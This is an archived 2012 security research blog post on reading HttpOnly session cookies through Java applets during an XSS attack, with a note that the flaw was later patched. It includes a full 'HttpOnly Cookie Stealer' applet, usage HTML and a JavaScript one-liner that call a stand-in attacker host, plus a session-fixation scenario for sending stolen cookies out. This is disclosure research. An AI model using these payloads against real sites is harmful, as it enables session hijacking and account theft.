

XSS: Gaining access to HttpOnly Cookie in 2012

XSS: Gaining access to HttpOnly Cookie in 2012 - Author not stated, seckb.yehg.net.

- Published: date not stated
- Original: <<https://web.archive.org/web/20170903113359/http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html>>
- Preserved from: <https://web.archive.org/web/20170903113359/http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html> (stored) on 2026-08-06
- Capture timestamp: 20170903113359
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Update 2016/02: We were asked by a lot if this still works. Shortly after our disclosure, this issue has been patched.

The Background - The Past

Gaining access to [HttpOnly cookie](#) was first attempted by means of XST, [Cross Site Tracing](#) vulnerability.

Soon after the popularity of XST, the TRACE method has been disabled by most web servers. Later, browsers' implementation of XMLHttpRequest also blocked "TRACE" method (i.e. `xmlhttp.open('TRACE', url, true)`). Later, [a flawed implementation in Firefox's XMLHttpRequest](#) which can be used to access set-cookie response header was fixed.

 (<https://web.archive.org/web/20170925041004/http://1.bp.blogspot.com/-l624SmcIEUk/T70idQzIU2I/AAAAAAAAAGQ/sDf3dZYPN3Q/s1600/xmlhttp-trace-ie.png>)

JS Debugger pointing out "TRACE" method as invalid argument

 (<https://web.archive.org/web/20170925041004/http://3.bp.blogspot.com/-khMONiDIXPY/T70icmGFvII/AAAAAAAAAGE/mgtEbj5xtYU/s1600/xmlhttp-trace-ff.png>)

JS Debugger pointing out "TRACE" method as illegal value

A Sla.ckers.org forum member, LeverOne, [posted ways](#) to access HttpOnly cookie through the use of Java API and applet. I reproduced his techniques. When the first method was tried, the Java Runtime did not allow the HTTP TRACE method any more. It threw an error message, "uncaught exception: java.security.AccessControlException: access denied ("java.net.NetPermission" "allowHttpTrace")". When

the second one was tried, the Java API, `getRequestProperty("Cookie")`, return "null" value. It seemed that we cannot read the browser cookie storage from Java applet though it can connect to the requested URL with browser cookie.

[[image: image]]

(<https://web.archive.org/web/20170925041004/http://1.bp.blogspot.com/-0k0iQeLk62A/T70iZ4ByZnI/AAAAAAAAAFs/1EHECxoGgZQ/s1600/java-trace.png>)

- Java permission exception for "TRACE" method being as HTTP Request*

* *

[[image: image]]

(<https://web.archive.org/web/20170925041004/http://4.bp.blogspot.com/-5Pg3t5FXG9Q/T70iZNqdacl/AAAAAAAAAFo/NsRVlb-LlcQ/s1600/java-getproperty.png>)

Cookie value shown as null from Java Applet

Subsequently, the `HttpOnly` cookie was forgotten by the security community. It was talked about and has been used as a security measure based on [1740K results from Google](#), including the [OWASP](#).

The Current - 2012

As far as I have [researched](#) and tested, I could not find ways to gain access to an `HttpOnly` cookie that has already been used by browser.

I then thought of reading set-cookie response header containing `HttpOnly` cookie. Reading it through `XMLHttpRequest` was [fixed](#).

When I looked at Microsoft Silverlight, it seems that [security considerations.aspx](#)) were taken into account in its design in `HttpRequest` and `HttpResponse` handling. Silverlight separates the `Http` handling by Browser-based and Client-based. I can gain access to the set-cookie response header only if I use the latter one. Even so, this is applicable only for the set-cookie response header that does not have "`HttpOnly`" attribute. In addition, the Client-based cookie storage is isolated from the browser-based one.

[[image: image]](<https://web.archive.org/web/20170925041004/http://4.bp.blogspot.com/-3N-0xV68HDo/T70IEqUmJel/AAAAAAAAAGc/6GGyoRIxU/s1600/silverlight-get-cookie.png>)

- Silverlight application can read set-cookie response header without `HttpOnly` flag*

Reading it through Adobe Flash/ActionScript seems possible for Adobe AIR and [Flash Lite 4](#) based on the [Adobe documentation](#).

Event Object Type: `flash.events.HTTPStatusEvent` property `HTTPStatusEvent.type = flash.events.HTTPStatusEvent.HTTP_RESPONSE_STATUS`

| *Language Version: * | ActionScript 3.0 | |

| *Runtime Versions: * | AIR 1.0, AIR 1.0, Flash Lite 4 | |

Flash Lite is supposed to be able to run on mobile devices' browsers. But I have short of Flash-Lite compatible devices at this moment. Anyone who has one can check [this test page](#). The code is as simple as that:

[[image: image]](https://web.archive.org/web/20170925041004/http://3.bp.blogspot.com/-_XMYapGEIUs/T-YjdrvrzI/AAAAAAAAAIA/IrXY_LpcSC8/s1600/as3a.png)

ActionScript: Reading Response Header via the "HttpResponseStatus" Event Listener

Then left is Java. Looking through Java Http API, I found an interesting method, [getHeaderField](#), under `java.net.URLConnection` package. I quickly wrote an applet that requests a URL and reads its response set-cookie response header using `getHeaderField` method.

```
-  
/*  
-  
-  
HttpOnly Applet - Stealing HttpOnly Cookie  
-  
by Aung Khant, YGN Ethical Hacker Group, http://yehg.net/  
-  
-  
2012-05-19  
-  
-  
Usage:  
-  
<script>var ck= "";function getc(s){ck = s;alert("XSS HttpOnly-Cookie Stealer:\n\n" + ck);}</script>  
<applet code=HO.class archive=HO.jar width=0 height=0> <param name=u  
value=http://attacker.in/xss/cookie.php> </applet>  
-  
*/  
-  
import javax.swing.*;  
-  
import netscape.javascript.*;  
-  
import java.net.*;  
-  
-  
public class HO extends JApplet{  
-  

```

```
JSObject win;
```

```
-
```

```
String target, strcookies;
```

```
-
```

```
-
```

```
public void init(){
```

```
-
```

```
-
```

```
win = JSObject.getWindow(this);
```

```
-
```

```
target = getParameter("u");
```

```
-
```

```
strcookies = "";
```

```
-
```

```
-
```

```
try{
```

```
-
```

```
SwingUtilities.invokeLater(new Runnable(){
```

```
-
```

```
public void run(){
```

```
-
```

```
-
```

```
try{
```

```
-
```

```
URL url = new URL(target);
```

```
-
```

```
URLConnection connection = url.openConnection();
```

```
-
```

```
connection.connect();
```

```
-
```

```
-
```

```
String headerName = null;
```

```
-
```

```

for(int i=1;(headerName =connection.getHeaderFieldKey(i))!=null; i++){
-
if(headerName.equals("Set-Cookie")||headerName.equals("Set-Cookie2")){
-
String cookie = connection.getHeaderField(i);
-
String cookieName = cookie.substring(0, cookie.indexOf("="));
-
String cookieValue =cookie.substring(cookie.indexOf("=")+1, cookie.length());
-
strcookies = strcookies + cookieName + "=" +cookieValue + "\n";
-
}
-
}
-
Object results[];
-
results =newObject[1];
-
results[0]= strcookies;
-
win.call("getc", results);
-
}catch(Exception ex){
-
ex.printStackTrace();
-
}
-
}
-
});

```

```

-
}
-
catch(Exception ex){
-
ex.printStackTrace();
-
}
-
}
-
}
-
}

```

To my surprise, [it works!](#)

[[image: image]](<https://web.archive.org/web/20170925041004/http://3.bp.blogspot.com/-DZ93WlpiK4/T8GbDeeky1I/AAAAAAAAAGw/JJAgBPrabDs/s1600/java-getHeaderField.png>)

```

* *
* *
* *
* *
* *
* *
* *
* *
* *
* *
* *
* *
* *
* *
* *
*

```

- *
- * XSS Test: Getting HttpOnly Cookie through the Java Applet*

I thought Java would block the set-cookie response header with HttpOnly flag like Silverlight. As a side-note, the Java API can be directly called from JavaScript as well, removing the bundle of compiling. So, the nice one-liner PoC will be as follows:

```
alert(new java.net.URL('http://attacker.in/xss/cookie.php').openConnection().getHeaderField('set-cookie'));
```

Why this can be an issue with Java itself, a vulnerable page in a real-world application may have already issued the HttpOnly cookie by the time the script has executed.

However, there are certain circumstances that lead us to compromise HttpOnly session cookie.

Let's say, we find an XSS issue in unauthenticated page, welcome.php. A victim has not accessed the login page, login.php, which issues an HttpOnly session cookie. The application does not renew new session cookie after user logs in, which is vulnerable to Session Fixation attack. In this case, we entice the victim to execute our HttpOnly cookie stealer XSS payload on the welcome.php page and make the payload send the stolen cookie to us.

According to the provided scenario, the exploit will not work if the victim has already accessed the login.php page. This is not always the case. For example, many web applications have a logout page whose job is to clear session data and to issue either new session cookie or empty session cookie such as *PHPSESSID=deleted*. Here, our XSS payload will call this logout page first and then call the login page which issues HttpOnly session cookie.